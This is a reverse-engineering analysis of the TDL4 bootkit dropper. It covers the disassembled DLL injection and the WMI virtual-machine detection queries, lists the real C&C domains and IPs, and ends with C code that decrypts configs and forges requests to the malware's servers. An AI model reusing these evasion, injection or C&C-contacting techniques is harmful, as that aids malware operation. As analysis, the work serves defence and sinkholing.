    .data:0040A860 lea eax, [esp+20h+Memory]
    .data:0040A864 call add_to_function_vector
    ...
    .data:0040AB80 call_next:
    .data:0040AB80 call dword ptr [ebx] ; CALL function
    .data:0040AB82 test eax, eax
    .data:0040AB84 jz short exit_loop
    .data:0040AB86 add ebx, 4 ; advance index
    .data:0040AB89 cmp ebx, esi ; check against the limit
    .data:0040AB8B jnz short call_next ; CALL function
    The dropper then starts extracting resources from the encrypted stubs of its data section.

    First, it extracts resource "affid" of the type of "FILE", and decodes it in a string "540". Next, it extracts "subid" resource of "FILE" type, and decodes it into "direc47". Then it concatenates both strings into "540-direc47".

    The string "outlkupd.exe" is then extracted from the resource "name" of type "PAIR".

    To make sure there is only instance of the dropper running, the code takes a hard-coded string "ba1039e8cdae53e44ac3e6185b0871f3d031a476" and appends "1010" to it to create a mutex, then appends "1011" to create an event:
    • creates mutex: Global\ba1039e8cdae53e44ac3e6185b0871f3d031a4761010

    • creates event: Global\ba1039e8cdae53e44ac3e6185b0871f3d031a4761011

    Following that, the dropper creates a copy of itself under the following names:
    • %TEMP%\outlkupd.exe

    • %TEMP%\[rnd].tmp

    where %TEMP% is a temporary directory.

    The dropper then checks the version of the operating system, and acts accordingly. If the OS is Windows 2000, Windows XP, Windows Server 2003, or Windows Server 2003 R2, it will run outlkupd.exe.

    If the OS is Windows Vista or Windows Server 2008, it will extract resources appverif.exe and vrfcore.dll, then run appverif.exe and wait for 10 seconds before continuing (the user is supposed to accept UAC message during that time).

    If the OS is Windows 7, Windows 8, Windows Server 2012 or Windows Server 2008 R2, it will extract resource "stclient.dll" of type PROXY32 as %TEMP%\stclient.dll, if the OS is 32-bit. If the OS is 64-bit (via calling IsWow64Process() on its own process), it will instead extract the resource sqmapi.dll of type PROXY64 as %TEMP%\sqmapi.dll. Next, it constructs a long string that consists of the following lines:

    "%SYSTEM%\cmd.exe"
    "C:\%TEMP%\sqmapi.dll"
    "C:\WINDOWS\ehome"
    "C:\WINDOWS\ehome\Mcx2Prov.exe"
    "%TEMP%\outlkupd.exe"

    where %SYSTEM% may look like "C:\WINDOWS\System32" on a 32-bit Windows or "C:\WINDOWS\SysWOW64" on a 64-bit OS.

    The dropper will then attempt to run a process with the name composed from the lines above, with the CreateProcess() API.

    The dropper then attempts to inject the dropped DLL into the launched process and run it there. The injection is implemented by calling CreateRemoteThread() and passing it as a parameter the address of LoadLibrary() API in kernel32.dll, obtained with GetProcAddress(), and a path of the dropped DLL.

    .data:0040FAB0 call VirtualAllocEx
    .data:0040FAB6 mov edi, eax
    .data:0040FAB8 test edi, edi
    .data:0040FABA jz short loc_40FA5D
    .data:0040FABC push 0 ; lpNumberOfBytesWritten
    .data:0040FABE push ebx ; nSize
    .data:0040FABF lea ecx, [esp+14h+FileName]
    .data:0040FAC3 push ecx ; lpBuffer
    .data:0040FAC4 push edi ; lpBaseAddress
    .data:0040FAC5 push esi ; hProcess
    .data:0040FAC6 call WriteProcessMemory
    .data:0040FACC test eax, eax
    .data:0040FACE jz short loc_40FA5D
    .data:0040FAD0 mov al, 65h
    .data:0040FAD2 push offset dword_4261B4 ; lpModuleName
    .data:0040FAD7 mov dword_4261B4, 'nrek'
    .data:0040FAE1 mov byte_4261B8, al
    .data:0040FAE6 mov dword_4261B9, '.23l'
    .data:0040FAF0 mov dword_4261BD, 'lld'
    .data:0040FAFA call GetModuleHandleA ; get handle of kernel32.dll
    .data:0040FB00 push offset dword_4261C4 ; lpProcName
    .data:0040FB05 push eax ; hModule
    .data:0040FB06 mov dword_4261C4, 'daoL'
    .data:0040FB10 mov dword_4261C8, 'rbiL'
    .data:0040FB1A mov dword_4261CC, 'Wyra'
    .data:0040FB24 mov byte_4261D0, 0
    .data:0040FB2B call GetProcAddress ; get ptr to LoadLibrary
    .data:0040FB31 mov ecx, eax ; lpStartAddress
    .data:0040FB33 mov eax, edi
    .data:0040FB35 mov edx, esi ; hProcess
    .data:0040FB37 call _CreateRemoteThread ; run LoadLibrary(path to DLL)
    Following the steps above, the dropper starts checking if it is running under a virtual machine. To achieve that, it uses Windows Management Instrumentation (WMI) to query a number of key system parameters via WMI query interface.

    For example, to see if it is running under Qemu emulator, it runs the following WMI queries:
    • SELECT * FROM Win32_Processor WHERE Name LIKE "%QEMU%"

    • SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE "%QEMU%"

    • SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%QEMU%"

    Other performed queries are:
    • SELECT * FROM Win32_Processor WHERE Name LIKE "%Bochs%"

    • SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%Red Hat%"

    • SELECT * FROM Win32_SCSIController WHERE Manufacturer LIKE "%Xen%"

    • SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE "%Parallels%"

    • SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%Virtual HDD%"

    • SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%VMware%"

    • SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE "%Microsoft%"

    • SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE "%innotek%"

    • SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%VBOX%"

    Apart from the queries above, the dropper also checks the existence of several pre-defined hashes of the user names, system drivers, OS serial numbers and install dates to see if it is running under a known controlled environment or not, by using the WMI objects:
    • Win32_ProcessName

    • Win32_UserAccountName

    • Win32_SystemDriverName

    • Win32_OperatingSystem (SerialNumber, InstallDate)

    If the dropper detects it is running under a sandbox, it quits.

    Finally, the dropper extracts a malicious Master Boot Record and Volume Boot Record, and installs them along other components in the system.

    In order to extract all the resources from the dropper, the first task is to find out what resource names and types the dropper has. These names can be seen in the memory dump below:

    Next, the dropper can be debugged and forcefully directed into the flow where the resource extraction takes place:

    Then, the parameters of the function that extracts the resources are patched accordingly:

    After the extraction, the ECX will point into the extracted data, as shown below in case of the MBR resource:

    By following the trick above, all the other resources can now be extracted from the dropper for further analysis:

    • "BIN"
      • MBR (440 bytes)

      • VBR (512 bytes)

    • "FILE"

      • BOOT (1,515 bytes)

      • DBG32 (6,656 bytes)

      • DBG64 (9,088 bytes)

      • DRV32 (37,888 bytes)

      • DRV64 (42,496 bytes)

      • CMD32 (25,088 bytes)

      • CMD64 (43,520 bytes)

      • LDR32 (6,144 bytes)

      • LDR64 (5,632 bytes)

      • MAIN (3,809 bytes)

      • AFFID - "540"

      • SUBID - "direc47"

      • TDI32 (12,800 bytes)

      • TDI64 (16,384 bytes)

    • "PAIR"

      • NAME - "outlkupd.exe"

      • BUILD (37 bytes)

    • "PROXY32"

      • APPVERIF.EXE (173,504 bytes)

      • VRFCORE.DLL (43,520 bytes)

      • STCLIENT.DLL (241,664 bytes)

      • SQMAPI.DLL (43,520 bytes)

    • "PROXY64"

      • SQMAPI.DLL (49,664 bytes)

    Once all the checks were made, and all the resources were installed, along with the infected MBR and VBR, the dropper reboots the system.


    PROXY32/PROXY64

    Apart from several malicious components, the dropper contains some legitimate resources as well (the PROXY32 and PROXY64 ones). These 'proxy' resources are likely dropped and run in order to trick behavioural analysis systems into believing that the sample in question does not only look nice statically (as explained above), but the files that it drops dynamically are also legitimate, some with the valid digital signatures.

    This stealthiness makes the extremely vicious TDL4 also very crafty as it manages to bypass many AV solutions on spot.


    MAIN

    The MAIN resource of TDL4 is a text configuration file. Among other sections, it contains a list of the command and control (C&C) servers that are used for communications:

    [servers_begin]
    7qV2SXF7gv9aKUlN8xMNwdd+nRXbjQ==
    7qV2SXF7guxdMlZG+wYX39t80gLBzprn9w==
    7qV2SXF7gvRLLlBc+QsQyZx53Bs=
    [servers_end]

    The server names are in base-64 form, but the unpacked strings are encrypted. How to decrypt them? Let's analyse the following resource first.


    CMD32/CMD64

    The 32-bit CMD32 component, as well as its 64-bit counterpart CMD64, is a DLL that is injected the memory of the system process, according to the configuration of TDL4. For example, if the MAIN configuration file specifies the section below, then CMD32 can be found within the system process svchost.exe:

    [injects_begin]
    cmd32|svchost.exe,
    [injects_end]

    The infected system indeed has svchost.exe with a memory area where CMD32 runs from, along with the mapped configuration file itself.

    When CMD32 Dll is run, it checks to make sure it is loaded either into services.exe or svchost.exe. Next, it makes sure that explorer.exe process is also running. If explorer.exe is not running, the code falls asleep for 3 minutes, then checks again.

    The Dll then retrieves the image base of its host process and start looking for the APIs called Init() and Uninit(). If found, the pointers of these functions are retrieved and remembered.

    Through the static code analisys, it is assumed that the Init() and Uninit() functions are implemented within one of the missing modules that the DLL can download from the command and control servers. The functions are responsible for extracting configuration file (similar to MAIN) from the JPEG images hosted on the blog sites specified in the MAIN configuration file. The JPEG images contain concealed configuration data by using steganography.

    The DLL deletes the registry key:

    HKLM\SYSTEM\CurrentControlSet\Services\IpFilterDriver

    Next, it deletes a file (presumably a legitimate driver file used by MalwareBytes):

    %SYSTEM%\drivers\mbam.sys

    Following that, it applies XOR 81 operation to four 256-bit hard-coded seed values. These seeds are then used to initialise four RC4 keys. These keys are then used for encryption/decryption purposes.

    The code locates the MAIN section mapped in the process memory and extracts the server list enclosed within [servers_begin] and [servers_end] tags. These names are then unpacked from base-64 and decrypted with RC4 algorithm. Key #3 is used to decrypt the server names below:

    • http://dfsvegasmed.com

    • http://wahinotisifatu.com

    • http://owtotmyne.com

    At the time of writing, the first domain does not resolve to an IP, the 2nd one resolves to an IP 193.169.86.56 located in Ukraine, the 3rd domain resolves to IP 93.174.88.224 located in Netherlands.

    CMD32 then requests a new configuration file from the C&C servers above, by constructing a line with several parameters, as shown below:

    affid=540&subid=direc47&bbid=1f5af5611542886af50307110b155b02ea41bc35&v=12&fb=1&mode=cfg

    The affid/subid parameters are used to identify the client of TDL4 network, the mode parameter clearly specifies that a new configuration is needed.

    The parameters above are mixed with the random value parameters in order to avoid cached server responses.

    The URL parameters line is encrypted with RC4, by using the key #2, then packed into base-64 format.

    Once the configuration file is returned by the server, it is decrypted with the RC4 key #1, then scanned for the presence of the tags [SCRIPT_SIGNATURE_CHECK] and [SCRIPT_SIGNATURE_CHECK_END], then mapped back into the host process memory.

    The DLL then requests from the servers an updated module CMD32/CMD64 with the parameter line: (also mixed with the random value parameters:

    mode=core&filename=cmd32

    The line above is then paranoidly mixed with 5 more random value parameters to avoid server response caching.

    In order to be able to decrypt configurations from the back-up servers (rogue blog posts), the DLL downloads the COM32/COM64 module with the URL parameter:

    mode=mod&filename=com32

    The same parameter is used to request additional modules specified in the configuration section enclosed with the tags [modules_begin] and [modules_end].

    To request an updated DRV32/DRV64 module, the DLL constructs the line:

    mode=core&filename=drv32

    If the host processes is terminated, it is immediately restarted with the CMD32 and configuration data immediately re-injected in it.


    Replicating TDL4 Encryptor Logic

    By replicating TDL4 encryptor (and also decryptor as RC4 is a symmetric algorithm), it is possible to build a tool that allows quick reading of its configuration data - mainly, encrypted C&C servers.

    Apart from that, in case there are NXDomains (non-registered domains) specified in TDL4 configuration, it is possible to build a sinkhole that will 'talk nerdy' to the connected victims (do you happen to know what 'GeckaSeka' means?). That is, it will understand their language and talk to them in their own protocol.

    Knowing how to encrypt the URL parameters will also allow requesting additional components from C&C (such as COM32 module, required for decrypting configuration data concealed within the blog posts' JPEG images).

    Let's build one.

    Our decryptor will decrypt the C&C server name specified in the configuration, then we'll encrypt it back to see if the same original string is produced (results 1-2).

    Next, we'll decrypt the URL parameter found in the TDL4 traffic below, and try encrypting our own URL parameter that requests the COM32 module from C&C (results 3-4).

    The decryptor will first 'prepare' the seeds, then make the following calls:


    prepare_seed(seed2); // for config data
    prepare_seed(seed3); // for URL parameter

    char szResult1[MAX_PATH];
    decrypt("7qV2SXF7gv9aKUlN8xMNwdd+nRXbjQ==", szResult1, seed3);

    char szResult2[MAX_PATH];
    encrypt("http://dfsvegasmed.com", szResult2, seed3);

    char szResult3[MAX_PATH];
    decrypt("JsVoFkw7PZy+4vo3+ou9d1kWdiq24NpkflIKQDuOUT9+EkJJ2iGaADle3jviKC4VYu/y6B7FyXXOk2EKT...", szResult3, seed2);

    char szResult4[MAX_PATH];
    encrypt("mode=mod&filename=com32", szResult4, seed2);
    where prepare_seed() will XOR the seeds with 81:


    void prepare_seed(LPBYTE seed)
    {
    for (int i = 0; i < 256; i++)
    {
    seed[i] ^= (BYTE)i + 81;
    }
    }
    The seeds themselves are hard-coded within the CMD32 binary; they can be copy-pasted from it as:


    BYTE seed2[256] =
    {
    0x65,0x4F,0xF7,0xEC,0x02,0xE1,0xA5,0x5C,0xF0,0xC0,0x78,0x58,0x12,0x20,0xD8,0x17,
    0xA9,0xF5,0x51,0x62,0x98,0xEC,0xD5,0x0C,0xEE,0x4F,0xDC,0x3E,0x87,0xC6,0x77,0xFF,
    0x66,0x14,0x0B,0x3A,0x02,0xE4,0x01,0xBD,0xAE,0x6F,0xAD,0x34,0x3A,0x5B,0xD1,0xF4,
    0x9D,0xDF,0xEE,0xDE,0xE5,0x3D,0x29,0x32,0x04,0x57,0xDE,0x92,0x3B,0x94,0x53,0x41,
    0x25,0xEF,0xCB,0xED,0x1E,0xB9,0xAB,0x3E,0x5B,0x6E,0x07,0xA6,0x1B,0xB6,0xBA,0xF4,
    0x5A,0x3B,0xFC,0xDA,0x78,0xD4,0xFC,0x50,0xB3,0x13,0xB0,0xF5,0xD1,0xF6,0xD6,0xA9,
    0xCB,0x0A,0x68,0x03,0x70,0xCE,0x6E,0x8B,0x9F,0x62,0x9E,0x69,0x5B,0x68,0x3A,0xF8,
    0x45,0xD4,0x85,0xF2,0x21,0x51,0xA0,0xD2,0x9E,0xAC,0xEC,0xA9,0xCE,0xAA,0xDB,0x15,
    0x4A,0xEB,0xB1,0x17,0xFF,0xF3,0x2D,0x40,0x18,0x5F,0x31,0x3F,0x4B,0x29,0x4A,0xA4,
    0xFC,0xA1,0x16,0xA6,0x38,0x45,0xEF,0x4A,0x26,0xEE,0xD6,0x62,0xD8,0x04,0x67,0x93,
    0x76,0x1F,0x1B,0xBE,0x12,0x34,0x58,0xBF,0xE8,0xF3,0xEB,0x5B,0xB8,0x58,0x8F,0xDC,
    0x6E,0x05,0xA7,0x02,0xCA,0x55,0xC9,0xF9,0x39,0xAB,0x24,0xBE,0xE2,0x5F,0x80,0x11,
    0x9F,0x00,0x5C,0xA4,0xFB,0x76,0x5A,0x44,0x3A,0xB3,0xB6,0xA3,0x12,0xA5,0x37,0x8B,
    0x2C,0x3D,0x4D,0x3F,0xDC,0x2D,0x4B,0xA5,0x15,0xF3,0xB1,0xF4,0xD6,0xF9,0xD5,0x09,
    0xAB,0x9E,0x68,0x03,0x6F,0xAE,0xCE,0x34,0x83,0xC2,0x82,0xCB,0x23,0x55,0x25,0x8C,
    0x6F,0x89,0x3E,0x8E,0x3C,0x6A,0x43,0x63,0x95,0x3D,0x2F,0x04,0x64,0x10,0x88,0x86,
    };

    BYTE seed3[256] =
    {
    0x49,0x8D,0xD1,0x42,0xE9,0x03,0xD5,0x82,0x49,0x42,0xF0,0x8D,0x88,0x74,0xBD,0x6F,
    0x78,0x38,0x29,0xD3,0x90,0x47,0xB9,0x51,0xA8,0xD9,0xED,0x49,0x3F,0x93,0x27,0xA1,
    0xD0,0xD7,0x85,0x75,0xD2,0x19,0xE0,0x98,0x71,0xBF,0x68,0xD4,0x18,0xA2,0x57,0xDF,
    0x44,0xA5,0xBE,0xD7,0xF7,0x60,0xA2,0x0E,0x86,0xCD,0x0E,0xCA,0x09,0x24,0x0C,0x36,
    0x4B,0x21,0x73,0x9E,0xC2,0x90,0x4A,0x5A,0xEC,0xF3,0x9F,0x6C,0x4D,0xDA,0xDC,0x68,
    0xC2,0xF2,0x62,0x10,0x05,0x15,0x64,0x07,0x68,0xBE,0x88,0x74,0x7E,0x4B,0x7D,0xE6,
    0x85,0x52,0xB4,0x7E,0x87,0x03,0xD0,0xF8,0xDF,0x8A,0xE8,0xA9,0x7B,0xDA,0xEE,0x4F,
    0x73,0xB6,0xE5,0x07,0x75,0x28,0xD5,0x76,0xD8,0x85,0x76,0x6E,0x91,0xC1,0xBF,0x26,
    0xCC,0xDF,0x68,0xBA,0x1A,0xBB,0x46,0xB4,0xC2,0x6C,0x07,0x10,0x50,0x42,0xAD,0xF0,
    0x0C,0x78,0x4A,0x1F,0x34,0x89,0xC6,0x11,0x4C,0xB1,0x13,0x22,0x6D,0x55,0x6D,0xDF,
    0xA9,0xDC,0x2C,0x8E,0x2B,0x78,0xDB,0x80,0xC6,0x23,0x8E,0x24,0x76,0xC4,0xEC,0x39,
    0xD5,0x3A,0xE9,0x9D,0x8C,0x9E,0x18,0x9F,0x17,0x8E,0x9D,0xFB,0x73,0x58,0x49,0xCD,
    0x6A,0x1B,0xB5,0xA1,0xB0,0x2B,0xCD,0x24,0x1F,0x0F,0x4B,0x34,0x7B,0xF7,0x7A,0xC8,
    0x07,0xA5,0xE6,0x6D,0xE1,0x17,0xA2,0xCE,0x0C,0x82,0xCE,0xBE,0x74,0xD8,0xCC,0xC0,
    0x74,0xC3,0x25,0xD5,0x76,0x64,0x93,0x69,0x9A,0x7B,0x3E,0x8D,0xEA,0x4D,0x4E,0x64,
    0x06,0x80,0x72,0x2B,0x95,0x8D,0xD6,0xBD,0xD9,0x84,0xBF,0xD3,0xBD,0x61,0xDF,0xF2,
    };
    The RC4 algorithm itself can shamelessly be 'borrowed' from the ZeuS source code:


    typedef struct
    {
    BYTE state[256];
    BYTE x;
    BYTE y;
    } RC4KEY;

    #define swap_byte(a, b) {swapByte = a; a = b; b = swapByte;}

    void rc4_init(const void *binKey, WORD binKeySize, RC4KEY *key)
    {
    register BYTE swapByte;
    register BYTE index1 = 0, index2 = 0;
    LPBYTE state = &key->state[0];
    register WORD i;

    key->x = 0;
    key->y = 0;

    for (i = 0; i < 256; i++)
    {
    state[i] = i;
    }
    for (i = 0; i < 256; i++)
    {
    index2 = (((LPBYTE)binKey)[index1] + state[i] + index2) & 0xFF;
    swap_byte(state[i], state[index2]);
    if (++index1 == binKeySize)
    {
    index1 = 0;
    }
    }
    }

    void rc4_crypt(void *buffer, DWORD size, RC4KEY *key)
    {
    register BYTE swapByte;
    register BYTE x = key->x;
    register BYTE y = key->y;
    LPBYTE state = &key->state[0];

    for (register DWORD i = 0; i < size; i++)
    {
    x = (x + 1) & 0xFF;
    y = (state[x] + y) & 0xFF;
    swap_byte(state[x], state[y]);
    ((LPBYTE)buffer)[i] ^= state[(state[x] + state[y]) & 0xFF];
    }

    key->x = x;
    key->y = y;
    }
    The base-64 packer/unpacker along with the decrypt/encrypt functions can then be declared as:


    #pragma comment (lib, "Crypt32.lib")

    int ToBase64Crypto(const BYTE* pSrc, int nLenSrc, char* pDst, int nLenDst)
    {
    DWORD nLenOut= nLenDst;
    BOOL fRet= CryptBinaryToString((const BYTE*)pSrc,
    nLenSrc,
    0x40000001,
    pDst,
    &nLenOut);
    if (!fRet)
    {
    nLenOut=0;
    }
    return nLenOut;
    }

    int FromBase64Crypto(const BYTE* pSrc, int nLenSrc, char* pDst, int nLenDst)
    {
    DWORD nLenOut= nLenDst;
    BOOL fRet= CryptStringToBinary((LPCSTR)pSrc,
    nLenSrc,
    0x00000001,
    (BYTE*)pDst,
    &nLenOut,
    NULL,
    NULL);
    if (!fRet)
    {
    nLenOut=0;
    }
    return nLenOut;
    }

    void decrypt(char *szBase64, char *szResult, LPBYTE seed)
    {
    memset(szResult, 0, MAX_PATH);
    int iResultLength = FromBase64Crypto((LPBYTE)szBase64,
    (int)strlen(szBase64),
    szResult,
    MAX_PATH);

    RC4KEY rc4_key;
    rc4_init(seed, 256, &rc4_key);
    rc4_crypt((LPBYTE)szResult, iResultLength, &rc4_key);

    }

    void encrypt(char *szStringToEncrypt, char *szResult, LPBYTE seed)
    {
    char szTemp[MAX_PATH];
    strcpy_s(szTemp, MAX_PATH, szStringToEncrypt);

    RC4KEY rc4_key;
    rc4_init(seed, 256, &rc4_key);
    rc4_crypt((LPBYTE)szTemp, strlen(szTemp), &rc4_key);

    memset(szResult, 0, MAX_PATH);
    int iResultLength = ToBase64Crypto((LPBYTE)szTemp,
    (int)strlen(szTemp),
    szResult,
    MAX_PATH);

    }
    Running the tool produces the expected results:

    Update: the string ba1039e8cdae53e44ac3e6185b0871f3d031a476 is not hard-coded, it's a SHA-1 hash derived from the system footprint (Windows OS, product ID); thanks to the user 0x16/7ton for correction!